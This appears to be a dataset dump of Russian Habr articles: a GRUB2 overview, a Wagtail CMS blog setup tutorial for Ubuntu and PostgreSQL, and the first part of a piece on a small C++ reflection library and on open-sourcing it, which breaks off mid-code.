text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# GRUB2. Начало
#### 0. Это что такое?
Расскажу о новой версии самого популярного загрузчика. Она появилась опционально в стабильном Debian 5.0 Lenny, а значит можно сделать вывод о некоторой стабильности. К сожалению, по словам самих разработчиков, на документацию времени нет, поэтому всё пока работает методом тыка, логики и комментариев в коде :)
Кстати, о версиях. Первой и пока основной считается ветка 0.9x(которую уже окрестили GRUB Legacy), а версии 1.хх официально называются GRUB 2.
Итак, чем же отличается эта версия от старого доброго дефолтного загрузчика всего и вся? На официальном сайте сказано [примерно так](http://www.gnu.org/software/grub/grub-2.en.html):
* Поддержка скриптов, в частности циклов, условий, переменных и функций
* Графический интерфейс
* Динамическая подгрузка модулей, позволяющая расширять функционал не на этапе сборки, а прямо во время выполнения
* Переносимость на разные архитектуры
* Интернационализация
* Настоящее управление памятью, делающее GNU GRUB более гибким
* Модульный, иерархичный, объектно-ориентированный фреймворк для файловых систем, файлов, устройств, дисководов, терминалов, команд, таблиц разделов и загрузчиков операционных систем
* Кроссплатформенная установка, позволяющая установить GRUB с другой архитектуры
* Безопасный режим для трудных случаев. Stage 1.5 ликвидирована
* Исправление ошибок, которые были допущены при проектировании GRUB Legacy, и не могли быть исправлены из-за требований обратной совместимости. Например, способ нумерации разделов
Как видно, изменений куча. Здесь же я хочу остановиться на некоторых практических моментах, с которыми столкнулся в жизни.
Традиционно, предупреждаю: я проделывал все действия на стабильном Debian Lenny. У вас команды или расположение файлов может отличаться (хотя и не должно).
#### 1. Как редактировать меню?
Это естественный вопрос при работе с загрузчиком. В новой версии к нему подошли с другой стороны. Если вы откроете аналог старого menu.lst, файл /boot/grub/grub.cfg, вас ждёт сюрприз. Шапка файла гласит:
`#
# DO NOT EDIT THIS FILE
#
# It is automatically generated by /usr/sbin/update-grub using templates
# from /etc/grub.d and settings from /etc/default/grub
#`
То есть, руками его править можно, но это не по правилам.
По правилам, меню теперь генерируется автоматически, на основе скриптов, лежащих в /etc/grub.d и настроек из конфига /etc/default/grub
Поискав, описание скриптов, находим файл /etc/grub.d/README, который проливает луч света на хитрое устройство нового загрузчика. Мы узнаём, для чего нужны префиксы в именах скриптов:
* 00\_\*: Зарезервирован для 00\_header
* 10\_\*: Загрузочные записи
* 20\_\*: Сторонние программы (например, memtest86+)
Можно посмотреть сами скрипты, написанные на обычном shell-языке. Они не должны вызвать особых затруднений. Эти скрипты просто ищут в вероятных директориях скомпилированные ядра и образы init.rd, соответственно.
Если вы задумаете скомпилировать ядро самостоятельно, всё будет предельно просто: воспользовавшись соответствующим руководством, вы получите deb-пакет. При установке он положит всё по местам и запустит обновление загрузчика. Когда скрипты отработают, в /boot/grub/grub.cfg будет обновлённое меню с новым ядром. Без единого редактирования конфигов.
#### 2. Предупреждения.
Теперь заглянем с другой стороны: что плохого может случиться при такой схеме работы?
* Для специфических ядер нужно писать специальные скрипты.
* За примером далеко ходить не надо — посмотрите на ядра Xen. Они запускаются немного отлично от стандартных, поэтому стандартный пункт меню для Xen-ядра не запустит ничего хорошего. Если кому-то интересно, напишу об этом подробнее. (**UPD**: [Написал](http://habrahabr.ru/blogs/linux/56260/))
* Если вы всё-таки поменяете меню вручную из-за «какой-то не такой» работы скриптов, в следующий раз (при обновлении ядра или самого GRUB) скрипты вылетят с ошибкой и пакет grub-pc будет считаться ненастроенным. Придётся всё переделать по правилам.
* Как уже упоминалось выше, очень не хватает нормальной документации. Приходится перебиваться постами с блогов и wiki-страничками.
#### 3. Заключение
Как видно, GRUB сильно изменился. Нравится нам это или нет, через некоторое время всё больше разработчиков внесут его в свои дистрибутивы. А это значит, нужно тестировать, тестировать и просто помогать сообществу в переходе на новое поколение загрузчиков. Успехов! | https://habr.com/ru/post/56216/ | null | ru | null |
# Запускаем простой блог на Wagtail CMS (Django) — часть 1
Являясь большим фанатом Python и фреймворка Django постоянно искал решение, как сделать разработку новых веб-проектов быстрее и удобнее.
Все, кто знаком с разработкой на Django, знают насколько неудобно строить на нем интуитивно понятную админ.панель. До мегапопулярного WordPress очень далеко, что делает порог вхождения в разработку сайтов выше, чем у PHP-фреймворков и CMS.
После долгого поиска и тестирования различных решений я нашел для себя оптимальный вариант — [Wagtail CMS.](https://wagtail.io/)
Wagtail — это полноценная CMS написанная на Django компанией Torchbox. За что им большое спасибо. Проект с открытым исходным кодом, поддерживается сообществом энтузиастов и выпускается под BSD лицензией.
Вот типичный интерфейс Wagtail:
В wagtail очень удобно работать с контентом, создавать новые публикации, разделы, работать с изображениями. Внутри этого проекта много интересных технологий. Но сегодня не об этом.
Расскажу пример по быстрому запуску простого блога для новичков в Django разработке, с учетом многих трудностей, которые могут поджидать на пути.
Нам понадобится:
1. VPS минимум с 1gb памяти
2. Базовое знакомство с django
3. Навыки в удаленной настройке Ubuntu
**Шаг 1:**
Вы запустили VPS сервер для разработки. Используйте Putty для удаленного подключения по SSH.
Настройка проводиться на сервере с ОС Ubuntu 14.04.
— Логинимся и начинаем базовую настройку:
```
sudo apt-get update
sudo apt-get upgrade
```
Как правило, на сервере уже стоит Python 2 и 3 версии. Проверяем следующими командами:
```
Python -V
Python3 -V
```
Для проекта будем использовать Python 3, так как с ним лучше работает Pillow и некоторые библиотеки, которые нам понадобятся.
Если каким-то образом у вас на сервере не оказалось python3, то ставим его командой:
```
sudo apt-get install python3
```
Так же нам потребуется python3-setuptools и python3-dev:
```
sudo apt-get install python3-setuptools
sudo apt-get install python3-dev
```
Учитывая, что все ставиться на чистую систему поставим PIP (чтобы поставить свежую версию «8.1.2» лучше делать это через easy\_install3):
```
sudo easy_install3 pip
```
Проверить версию PIP можно командой:
```
pip -V
```
Если версия не самая свежая, то обновляем pip командой:
```
sudo pip install --upgrade pip
```
Чтобы в дальнейшем у нас не выпадало различных ошибок при установке Wagtail, сразу ставим все необходимые библиотеки для Pillow:
```
sudo apt-get install libtiff5-dev libjpeg8-dev zlib1g-dev \
libfreetype6-dev liblcms2-dev libwebp-dev tcl8.6-dev tk8.6-dev python-tk
```
Теперь нам потребуется виртуальное окружение для проекта, ставим virtualenv
```
sudo pip3 install virtualenv
```
Создаем виртуалку:
```
virtualenv /opt/myenv
```
Идем в папку /opt/myenv и запускаем виртуальную среду:
```
source bin/activate
```
Вы должны увидеть строку с названием (myenv), означающую, что виртуалка запущена:
```
(myenv) alex@local.develop.server:/opt/myenv$
```
**Шаг 2:** Предварительная настройка сделана, переходим к установке Wagtail CMS и настройке базы данных:
1. ставим Wagtail и Gunicorn:
```
sudo pip3 install wagtail gunicorn
```
2. Создаем наш будущий блог командой
```
wagtail start mysite
```
3. Перейдем в папку блога (mysite) и установим все зависимости для проекта из файла requirements.txt
```
cd mysite
pip install -r requirements.txt
```
4. На данном этапе вы можете провести миграции и сразу запустить тестовый сервер вашего будущего блога. Но так как мы планируем сделать все правильно, то наш блог будет работать на PostgreSQL (Для django можно использовать разные базы данных, в том числе MySQL, PostgreSQL, Oracle DB и т.д). Так что проводим настройку базы данных:
```
sudo apt-get install libpq-dev
sudo apt-get install postgresql postgresql-contrib
```
5. На данный момент у вас уже запущен postgresql на порту 5432. Но чтобы база данных могла взаимодействовать с Wagtail нужно поставить psycopg2:
```
pip install psycopg2
```
6. Теперь надо создать саму базу данных для проекта, для этого зайдем под пользователем postgres и проведем некоторые дополнительные настройки.
Для улучшения безопасности любых веб-проектов не рекомендуется использовать доступ к БД через postgres — суперпользователя PostgreSQL. Спасибо за комментарий [immaculate](https://habr.com/ru/users/immaculate/)
Совсем просто можно создать отдельного пользователя wagtail и базу wagtail, к которой будет доступ у приложения:
```
# sudo su – postgres
# createdb -O wagtail wagtail
```
7. Так как postgresql создает пользователя wagtail не спрашивая вас про пароль, нам надо назначит ему пароль через psql:
```
psql
```
Теперь вы можете выполнить команду смены пароля:
```
\password wagtail
```
Выходим из psql и закрываем сеанс под пользователем postgres:
```
\q
exit
```
Проверьте, что вы еще в виртуально среде, если нет то опять активируйте виртуалку.
8. Теперь нам надо настроить Wagtail на взаимодействие c postgresql, для этого идем в base.py:
```
cd /opt/myenv/mysite/mysite/settings/
nano base.py
```
Открывается файл настроек, нам нужна запись DATABASES. Удаляем, то что есть и ставим туда следующее:
```
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql_psycopg2', # указываем, что база данных postgresql
'NAME': 'wagtail', # Название вашей базы данных приложения
'USER': 'wagtail', #имя пользователя, который подключается к БД
'PASSWORD': '******',
'HOST': 'localhost',
'PORT': '',
}
}
```
Кстати, в wagtail есть русский язык, так что можете заодно в этом же файле с настройками поправить параметр LANGUAGE\_CODE.
```
LANGUAGE_CODE = 'ru-ru'
```
Собственно, мы провели все необходимые настройки, и теперь можно запускать миграции.
**Шаг 3.** Первый запуск
Перейдите в корневую папку вашего блога (cd /opt/myenv/mysite/) и начните вашу первую миграцию данных в данном проекте:
```
python manage.py migrate
```
Теперь создайте пользователя под которым вы будете заходить в админ.панель Wagtail:
```
python manage.py createsuperuser
```
Введите имя (например admin), пароль и почту.
Проверяем, что все работает:
```
python manage.py runserver 0.0.0.0:8000
```
Перейдем в браузере по ip адресу вашего VPS на 8000 порт (пример 199.199.32.32:8000) и увидим стартовую страницу wagtail.
Отлично, теперь перейдем в админ панель 199.199.32.32:8000/admin, вводим логин и пароль пользователя которые мы создали ранее и попадаем в удобный интерфейс Wagtail CMS:
Пока что наш сайт ничего не умеет, но скоро мы научим его всему необходимому для блога.
**Шаг 4.** Настройка стартовой страницы сайта
За главную страницу отвечает приложение «home» которое запускается из коробки. Чтобы стартовая страница была такой как вам надо внесем некоторые изменения в код.
Структура вашего сайта имеет такой вид:
```
mysite/
home/
migrations/
__init__.py
0001_initial.py
0002_create_homepage.py
templates/
home/
home_page.html
__init__.py
models.py
search/
templates/
search/
search.html
__init__.py
views.py
mysite/
settings/
__init__.py
base.py
dev.py
production.py
static/
css/
mysite.css
js/
mysite.js
templates/
404.html
500.html
base.html
__init__.py
urls.py
wsgi.py
manage.py
requirements.txt
```
Отредактируйте файл «home/models.py» следующим образом:
```
from __future__ import unicode_literals
from django.db import models
from wagtail.wagtailcore.models import Page
from wagtail.wagtailcore.fields import RichTextField
from wagtail.wagtailadmin.edit_handlers import FieldPanel
class HomePage(Page):
body = RichTextField(blank=True)
content_panels = Page.content_panels + [
FieldPanel('body', classname="full")
]
```
Также отредактируйте файл home/templates/home/home\_page.html:
```
{% extends "base.html" %}
{% load wagtailcore_tags %}
{% block body_class %} template-homepage {% endblock %}
{% block content %}
{{ page.body | richtext }}
{% endblock %}
```
Теперь, чтобы новые изменения заработали, проведите миграции:
```
python manage.py makemigrations
python manage.py migrate
```
После этого вы можете зайти в админ.панель и отредактировать текст на вашей стартовой странице.
Сохраните изменения и откройте опять ваш сайт. Вы увидите свой текст, примерно такого вида:
Для начала неплохо, но надо добавить разметку и красоту css.
За базовый шаблон отвечает файл «base.html» расположенный в mysite/settings/base.py;
За css отвечает «mysite.css» расположенный в mysite/static/css/mysite.css;
За js отвечает «mysite.js» расположенный в mysite/static/js/mysite.js;
Я поклонник materializecss и для нашего сайта мы возьмем у них шаблон и библиотеки.
Смотреть тут <http://materializecss.com/getting-started.html>
Вносим следующие изменения в base.html:
```
{% load static wagtailuserbar %}
{% block title %}{% if self.seo\_title %}{{ self.seo\_title }}{% else %}{{ self.title }}{% endif %}{% endblock %}{% block title\_suffix %}{% endblock %}
{# Global stylesheets #}
{% block extra\_css %}
{# Override this in templates to add extra stylesheets #}
{% endblock %}
[Logo](#)
* [Navbar Link](#)
* [Navbar Link](#)
[*menu*](#)
{% wagtailuserbar %}
{% block content %}{% endblock %}
##### Company Bio
We are a team of college students working on this project like it's our full time job. Any amount would help support and continue development on this project and is greatly appreciated.
##### Settings
* [Link 1](#!)
* [Link 2](#!)
* [Link 3](#!)
* [Link 4](#!)
##### Connect
* [Link 1](#!)
* [Link 2](#!)
* [Link 3](#!)
* [Link 4](#!)
Made by [Materialize](http://materializecss.com)
{# Global javascript #}
{% block extra\_js %}
{# Override this in templates to add extra javascript #}
{% endblock %}
```
Сохраняем и снова открываем наш сайт. Должно получиться, что-то похожее на эту картинку:
Уже лучше. Теперь нам надо создать блог, ради которого все и затевалось.
**Шаг 5.** Создание блога.
Идем опять в корень нашего проекта и выполняем следующую команду:
```
python manage.py startapp blog
```
После этого добавьте новое приложение «blog» в INSTALLED\_APPS в mysite/settings/base.py.
Для каждой записи нашего блога будут стандартные поля — заголовок, дата, картинка, введение и основной текст. Чтобы все это работало внесите следующие изменения в «blog/models.py»
```
from django.db import models
from wagtail.wagtailcore.models import Page
from wagtail.wagtailcore.fields import RichTextField
from wagtail.wagtailadmin.edit_handlers import FieldPanel
from wagtail.wagtailimages.edit_handlers import ImageChooserPanel
from wagtail.wagtailsearch import index
class BlogPage(Page):
main_image = models.ForeignKey(
'wagtailimages.Image',
null=True,
blank=True,
on_delete=models.SET_NULL,
related_name='+'
)
date = models.DateField("Post date")
intro = models.CharField(max_length=250)
body = RichTextField(blank=True)
search_fields = Page.search_fields + [
index.SearchField('intro'),
index.SearchField('body'),
]
content_panels = Page.content_panels + [
FieldPanel('date'),
ImageChooserPanel('main_image'),
FieldPanel('intro'),
FieldPanel('body'),
]
```
Теперь создайте саму страницу, на которую все это будет выводиться в blog/templates/blog/blog\_page.html:
```
{% extends "base.html" %}
{% load wagtailcore_tags wagtailimages_tags %}
{% block body_class %}template-blogpage{% endblock %}
{% block content %}
{{ page.title }}
================
{{ page.date }}
{% if page.main_image %}
{% image page.main_image width-500 %}
{% endif %}
{{ page.intro }}
{{ page.body|richtext }}
{% endblock %}
```
Пока что ничего не работает, поэтому выполняем команды
```
python manage.py makemigrations
python manage.py migrate
```
Теперь можно создать первую запись в нашем блоге, через удобный интерфейс wagtail.
Идем в админ.панель, открываем «Проводник», выбираем главную, и нажимаем «добавить дочернюю страницу», появиться следующее окно с выбором шаблонов для создаваемой страницы:
Выбираем «Blog Page» и заполняем страницу информацией.
Вот пример редактирования страницы блога в админ.панели wagtail:
Довольно удобно и быстро.
Сохраняем запись и открываем в браузере. Первая запись вашего блога готова.
Если хоть кому-то данный пост окажется полезным, то я продолжу публикацию постов на тему wagtail, в которой расскажу подробнее про различные возможности данной CMS.
[Часть 2](https://habrahabr.ru/post/311756/)
[Часть 3](https://habrahabr.ru/post/325110/)
Для всех заинтересовавшихся Wagtail CMS:
Официальный сайт <https://wagtail.io/>
Гитхаб проекта <https://github.com/torchbox/wagtail/>
Документация <http://docs.wagtail.io/en/latest/index.html>
Демосайт для изучения <http://docs.wagtail.io/en/latest/getting_started/demo_site.html>
Группа поддержки пользователей <https://groups.google.com/forum/#!forum/wagtail> | https://habr.com/ru/post/303900/ | null | ru | null |
# Капелька рефлексии для С++. Часть первая: ретроспектива разработки
**ВАЖНОЕ УТОЧНЕНИЕ. ПОЧИТАЙТЕ ПЕРЕД ТЕМ, КАК ЧИТАТЬ СТАТЬЮ**По моей вине возникли некоторые непонятки по поводу данных публикаций. Поэтому я решил добавить данное предупреждение.
В данном цикле статей я больший упор хотел сделать на историю разработки некой open source библиотеки, безотносительно к конкретной cpprt. Историю от написания исходников (с акцентом на какие-то интересные вещи, которые интересно почитать людям вообще, безотносительно к самой библиотеке), до формирования репозитория (с уроком CMake) и продвижения библиотеки (где часть продвижения подразумевает публикацию данного цикла статей). Такой себе учебный демо-проект для людей, которые подумывали выложить свой open source, но либо боялись, либо не знали как.
Я, конечно, был бы не против, если бы библиотека как-нибудь ожила и в статьях есть минимальное количество рекламы библиотеки (я старался прятать её под спойлеры). Но всё-таки цели данного цикла я рассматривал скорее учебные и, как я надеюсь, применимые вообще, без связи с моей библиотекой.
Просьба учитывать это при чтении цикла статей.
Создавать объекты по строковым именам их классов и получать информацию о наследниках классов во время исполнения программы. С++ либо не поддерживает, либо слабо поддерживает подобный функционал «из коробки».
В этом цикле статей будет я подробно рассказываю о том, как создавал свою микро-библиотеку, реализующую подобное поведение и как готовил её к публикации.
**Cсылки на все статьи цикла**[1. Про разработку](https://habrahabr.ru/post/281993/)
[2. Про подготовку к публикации](https://habrahabr.ru/post/281995/)
[3. Про результат](https://habrahabr.ru/post/281997/)
Моя совесть не будет чиста, если я не признаюсь в одной хитрой мысли, которая подтолкнула меня написать данный цикл статей. Так как это касается, скорее, маркетинга, я использую прятки под кат. Предупреждаю: там достаточно много текста.
**Пространное вступление с саморазоблачением о пиаре и набитых шишках**Зайду издалека…
Во время чтения этих статей вы будете встречать упоминание некой «основной библиотеки», частью которой являлся cpprt. Я работаю над этой самой «основной библиотекой» (у которой пока даже нет названия, только условное data\_mapping) чистым временем второй месяц. И по поводу «основной библиотеки» у меня была одна очень наивная мысль. Я хотел на ней заработать.
Понимаете? Заработать на библиотеке. Причём на утилитной библиотеке. Причём продавая её людям самостоятельно, а не через какую-нибудь площадку… Безумие. План был следующий:
1. Создать некое относительное стабильное ядро функционала, которое показывало бы основные фичи библиотеки на нескольких эффектных примерах.
2. Найти людей, которых загорятся идеей проекта. Искать планировалось среди знакомых (и через знакомых), на конференциях, через социальные сети, и т.д.
3. Найдя единомышленников, ввести их в курс дела по проекту и добиться того, чтобы они начали стабильно коммитить в репозиторий проекта.
4. Коллективными силами довести проект до коммерческого вида, по дороге выяснить о механизмах продажи (только тут, обратите внимание, выяснить – святая простота!..) и начать продавать библиотеку. Прибыль от продаж планировалось делить в процентном соотношении на каких-нибудь честных, заранее оговоренных условиях между основными участниками.
5. После того, как пойдут продажи, на правах основателя я надеялся делегировать задачи по поддержке и развитию другим участникам (возможно, несколько снизив при этом свой процент от прибыли) и дальше вкладывать меньше сил в библиотеку и заняться самому своими главными делами, имея при этом источник более или менее стабильного заработка.
6. Ну и тут, как полагается, куда же без него… PROFIT!
Самое странное, я всерьёз верил в работоспособность этого плана.
Я верил в этот план, несмотря на то, что имел пять лет опыта разработки своих pet-проектов и знал – у людей есть тенденция хотеть жить жизнь во внерабочее время, и это самое «хотение жить жизнь» для очень небольшого количества знакомых (где-то для полутора знакомых, если быть честным) означает «кодить всякие интересные штуки на плюсах». Я знал, что заманить опытных коллег по работе в свои репозитории невозможно, а подтягивать заинтересованных студентов до уровня достойного коммитера практически непосильно.
Я верил в этот план даже после того, как задал [вопрос](https://toster.ru/q/236510) и получил [ответ в блоге](http://www.apofig.com/2015/09/pet-project.html) пользователя [apofig](https://toster.ru/user/apofig) (он же СанЁк Баглай, спасибо ему). Суть ответа сводилась, вкратце, к тому, что библиотека, даже если она начнёт продаваться, это та же работа – причём работа подчас более каторжная и нервная, чем мирная пахота на дядю.
Я верил в этот план, исправно работая над кодом два месяца кряду. И только произошедший две недели назад, уже во время написания данного цикла статей, разговор по-настоящему открыл мне глаза на истинный порядок вещей. Излагаю суть этого разговора ниже и очень надеюсь, что он оправдает столь длинное и пространное вступление:
**Ответ Юрия Рощенко**
Человека, который расставил все точки над *i*, звали [Юрий Рощенко](https://ua.linkedin.com/in/yuriyroshchenko). Он работал руководителем отдела в крупной международной аутсорсинговой компании и хорошо разбирался в ведении проектов вообще. Юрий потратил минут сорок своего времени на разговор со мной, за что я ему крайне благодарен.
Изложив свой план по разработке библиотеки, я получил однозначный ответ: нет, так не работает. Действовать нужно совсем по-другому. И Юрий рассказал как. Совместив ответ Юрия Рощенко и некоторые советы от Александра Баглая, я сформулировал следующие шаги развития проекта:
1. Оформить минимальный репозиторий проекта с описанием и демонстрацией его возможностей. При этом важно, чтобы проект запускался без сложной настройки, в один клик, вообще без участия вас как автора и источника подсказок.
2. Показать проект максимально широкому кругу знакомых: коллегам в компаниях, где вы работали, друзьям, и т.д. Дать доступ к репозиторию, предложить опробовать проект. Это то, что у apofig было обозначено словами «дай ему [пользователю] инструмент в руки, закрой рот и смотри, что он с ним делать будет».
3. Следующий пункт стал для меня откровением. По словам Юрия, если на проект будет положительная реакция знакомых, нужно – внимание! – **выкатить его на open source**. Как можно?!.. Я всегда трясся над своими достижениями аки Кощей Бессмертный над златом. Мысль так вот запросто отдать плоды своих трудов звучала для меня крамолой. «Сопрут!» – думал я. «Украдут, сплагиатят!» – думал я.
Нет, ответил мне Юрий. Всё будет хорошо… Почему всё будет хорошо, он объяснил дальше.
4. После публикации проекта в open source, нужно максимально его распиарить. Больше огласки – больше пользователей, больше отловленных багов, больше действительно полезных фичей, затребованных напрямую от попробовавших проект людей. Количество по Гегелю имеет тенденцию перерастать в качество, а пользователи – в контрибуторов. Больше контрибуторов – ещё выше качество проекта, ещё больше [звёзд](https://help.github.com/articles/about-stars/). Больше звёзд, выше позиция проекта на репозитории, а значит больше огласки и… круг замыкается. И в данном случае то, что круг замыкается – очень хорошо.
*Примечание:* Если не ясно, кто такие контрибуторы – не беда. Вот [ссылка](https://guides.github.com/activities/contributing-to-open-source/) на небольшую статью о ролях пользователей GitHub. Контрибуторы – это такие хорошие люди, которые вносят предложения об изменениях (pull request) в ваш проект.
5. В какой-то момент проектом могут начать пользоваться коммерческие компании. Нужно узнавать, кто пользуется, нужно писать названия компаний в качестве рекламы – ведь если продуктом пользуются проекты, которые приносят прибыль своим авторам, это значит, что продукт сам по себе тоже достаточно ценен.
И только в этот момент имеет смысл создать закрытый форк со своего открытого репозитория и можно попробовать продавать его под коммерческой лицензией, приправив бесплатную версию какими-нибудь дополнительными полезными и нужными фичами.
Как владелец, вы будете иметь доступ к информации, очень полезной для коммерциализации библиотеки: к статистике скачиваний, к часто задаваемым вопросам и паттернам использования кода, к разным предложениям, которые могут поступать к вам как к владельцу проекта от пользователей напрямую.
В контексте разговора Юрий именно здесь ответил на вопрос, почему библиотеку не украдут и не сплагиатят. Дело в том, что, как основатель, вы всегда будете разбираться в проекте глубже, чем большинство контрибуторов. Чтобы потенциальным злоумышленникам разобраться в проекте и написать похожий код, им придётся потратить прорву времени и сил или – говоря по-другому – денег. А это, в свою очередь, означает, что подобным никто не будет заниматься до тех пор, пока покупка библиотеки не станет значительно дороже вложений в разработку её клона.
6. Если проект станет-таки астрономически известным, и вы почувствуете, что даже какой-нибудь Google хочет такую же штуку, как у вас – стоит попробовать продаться. Продаться – это успех, это хорошо. Грамотно поторговавшись, можно выручить с продажи столько денег, сколько самим вряд ли заработать с этой библиотеки за всю жизнь.
При этом если заартачиться, то есть реальный риск, что какой-нибудь Google напишет в течение недели такую же библиотеку, как у вас, и вы останетесь у разбитого корыта.
По пунктам, кажется, всё. Добавлю ещё несколько замечаний от Юрия:
– Нужно помнить про две поворотные точки развития проекта: (1) момент, когда имеет смысл сделать коммерческий форк, и (2) момент, когда для кого-нибудь купить проект станет дороже, чем написать самому.
– Хабра – действительно хорошая площадка для популяризации проекта в русскоязычном сегменте интернета. Мой собеседник упомянул здесь ребята из PVS-studio, которые продвигают свой продукт на хабре, одновременно рассказывая людям полезные вещи.
– Важно помнить про англоязычный сегмент – и ориентироваться во многом на него тоже.
В общем и целом, я изложил здесь все основные мысли, которые вынес из разговора. Надеюсь, кому-нибудь поможет представленный алгоритм. И, надеюсь также, кто-нибудь поделится в комментариях своим опытом и своими мыслями по данному поводу. Уверен, это будет полезно для всего сообщества.
… да, чуть не забыл. Я хотел признаться в одной хитрости.
Дело в том, что данный цикл статей касается очень небольшой, но, на мой взгляд, самодостаточной части «основной библиотеки», отщипнутой от него и превращённой в библиотеку. На её примере я решил попробовать, каково это – продвигать и публиковать ПО с открытым исходным кодом. Пройти таким образом путь, который предстоит пройти потом для «основной библиотеки»… При этом, естественно, я честно готов поддерживать саму библиотеку cpprt, которой посвящён данный цикл статей, если она кого-нибудь заинтересует.
Возможно, кто-то может посчитать мою задумку манипуляцией. Возможно… Но я оправдываю себя тем, что стараюсь здесь максимально подробно рассказывать о своём опыте, что может быть ценно для людей, которые захотят когда-нибудь решать аналогичные задачи.
Надеюсь, это окупит время, которое вы, дорогие читатели, потратите на ознакомление с данным циклом статей.
Данный цикл статей состоит из трёх частей:
[Первая часть, ретроспективная](https://habrahabr.ru/post/281993/). В ней подробно излагается история разработки микро-библиотеки.
*Зачем читать:* Данная часть предназначена для людей, которым интересно, какие шишки можно набить в процессе написания кода для регистрации информации о классах до старта функции main(). Серьёзным программистам С++ эта часть может показаться наивной и не интересной.
[Вторая часть, публикационная](https://habrahabr.ru/post/281995/). Рассказывает о подготовке репозитория библиотеки к публикации: выбор лицензии, организация структуры репозитория, изучение CMake, и т.д.
*Зачем читать:* Данная часть может быть полезна людям, у которых пылится на диске своя библиотека и которые хотят узнать, как можно представить эту библиотеку людям.
[Третья часть, документационная](https://habrahabr.ru/post/281997/). Здесь даётся взгляд на библиотеку с позиции пользователя: основные use cases использования, механизм регистрации классов, API для создания объектов по строковым именам классов, API для доступа к информации о наследованных классах через указание родительского класса во время исполнения программы. Эта часть содержит примеры кода, а также планы на будущее.
*Зачем читать:* Данная часть может быть полезна людям, желающим получить предоставляемый cpprt функционал в своём проекта, а также, снова, для желающих внести свою лепту в развитие библиотеки и, возможно даже, в развитие «основной библиотеки».
За сим я заканчиваю о цикле, и перехожу к сути конкретно данной статьи.
### 0. Вступление
Структура данной статьи:
[Раздел №0](#introduction). Данный раздел. Здесь рассказывается об аналогах библиотеки cpprt и даются некоторые мысли по поводу того, почему cpprt имеет право на существовании при наличии серьёзных аналогов.
[Раздел №1](#motivation). Зачем вообще понадобилась рефлексия в С++.
[Раздел №2](#first_find). Про поиск решения для возникшей задачи.
[Раздел №3](#first_impl). Про первую реализацию механизма регистрации классов.
[Раздел №4](#first_problems). Про то, какие проблемы имелись в первом решении о том, как я их исправлял.
[Раздел №5](#inheritance). Добавление возможности регистрировать информацию о наследовании.
[Раздел №6](#final). Заключение.
И теперь, наконец, начинаем разговор.
На момент публикации данного цикла статей моя библиотека позволяет очень немного:
1. Создавать объекты по строковому имени их классов.
2. Получать информацию о наследниках классов в runtime.
Уже при работе над статьёй знакомый подкинул ссылку вот на [этот обзор](https://habrahabr.ru/post/257071/) существующих библиотек. В нём упомянуты действительно мощные проекты. Они позволяют оснащать классы С++ толстенным слоем метаинформации и связанного с этим функционала: создавать объекты по строковым именам классов, получать перечень полей и методов классов во время исполнения программы, вызывать эти методы… Короче, позволяют купаться в целых океанах метаинформации. Мои достижения казались ничтожными в тени конкурентов. Однако, чуть успокоившись, я подумал: возможно, определённый смысл рассказать о проделанной мною работе есть.
Во-первых, в данных статьях много внимания уделяется ретроспективе: с какими трудностями я сталкивался в процессе работы, как я их решал. Это может быть полезно в качестве учебного материала.
С другой стороны, данный цикл рассказывает о том, как я готовил библиотеку к публикации: исследовал лицензии, разбирался с CMake, с миром открытого ПО и с тем, как принято оформлять свои проекты в этом мире. Это тоже может кому-нибудь пригодиться.
Ну и, наконец, да, пусть моя микро-библиотека действительно очень ограничена в возможностях по сравнению с существующими зубрам рефлексии С++. Но, возможно, в этом заключается её преимущество. Чем меньше библиотека – тем легче пользователю осознать особенности её работы и тем легче её интеграция в проект. Нужна навороченная рефлексия – используйте мощную библиотеку. Нужен набор из нескольких простых возможностей – можно попробовать cpprt.
### 1. Зачем мне понадобился подобный функционал
С++ известен своей эффективностью. Код, написанным на нём, выходит хорошо оптимизированным прежде всего возможно благодаря возможности тонкой настройки использования ресурсов компьютера. С++ — действительно позволяет писать очень хорошо оптимизированный код. Но за это нужно платить.
На алтарь эффективности, помимо всего прочего, кладётся возможность использования некоторых метаданных во время исполнения программы. Да, есть [RTTI](https://en.wikibooks.org/wiki/C%2B%2B_Programming/RTTI) с его typeid и dynamic\_cast. Есть [Boost.TypeTraits](http://www.boost.org/doc/libs/1_58_0/libs/type_traits/doc/html/index.html). Но RTTI часто отключают для экономии ресурсов ([ссылка по поводу](http://stackoverflow.com/questions/579887/how-expensive-is-rtti)), а Boost.TypeTraits, будучи библиотекой, построенной на шаблонах, не особо дружит с логикой времени исполнения программы и порождает много служебных специализаций своих шаблонов.
При этом иногда без возможности создания класса по его строковому имени не обойтись. Мне, например, такая возможность понадобилась в рамках механизма сериализации: для сохранения и загрузки объектов, хранящихся по указателям на родительский класс. Звучит, возможно, не очень понятно. Объясню подробнее.
Пусть у нас есть система для сохранения состояния объектов классов. Пусть использование её выглядит как-нибудь так:
```
// В рамках реализуемой схемы интерфейс ISerializable должен
// реализовывать любой класс, который можно сериализировать
class ISerializable {
virtual void save(Serializer *inSerializer) = 0;
virtual void load(Deserializer *inDeserializer) = 0;
}
class Base : public ISerializable {
virtual void save(Serializer *inSerializer) { /* сохранение состояния объекта через inSerializer */ }
virtual void load(Deserializer *inDeserializer) { /* загрузка состояния объекта через inDeserializer */ }
};
class Derived : public Base {
virtual void save(Serializer *inSerializer) { /* сохранение состояния объекта через inSerializer */ }
virtual void load(Deserializer *inDeserializer) { /* загрузка состояния объекта через inDeserializer */ }
};
```
Тестовый код, который сохраняет/загружает данные:
```
Base *theBase = new Derived();
. . .
Serializer theSerializer("save.txt");
theSerializer.save("name", theBase);
theSerializer.flush();
. . .
Deserializer theDeserializer("save.txt");
theBase = theDeserializer.load("name");
```
При сохранении объекта, хранящегося по указателю на родительский класс, сериализатор вызовет метод save(...) наследника за счёт полиморфизма. Но при загрузке десериализатор должен как-нибудь узнать, какой именно класс был у объекта в момент сохранения, чтобы иметь возможность создать его.
Отсюда следует, что на этапе сохранения нужно иметь некий идентификатор класса объекта, по которому на этапе загрузки мы сможем узнать, объект какого класса нужно создать и, воспользовавшись этим идентификатором, через некое API создать объект нужного класса.
Эта же мысль в виде кода:
```
class Serializer {
void saveInt(const char *inName, int inValue) { ... }
void saveString(const char *inName, const std::string &inValue) { ... }
// . . .
// Тут нам поможет пока полиморфизм – будет вызвана реализация
// метода save( ) у наследника за счёт виртуальности метода save(...)
void saveObject(ISerializable *inObject) { inObject->save(this); }
};
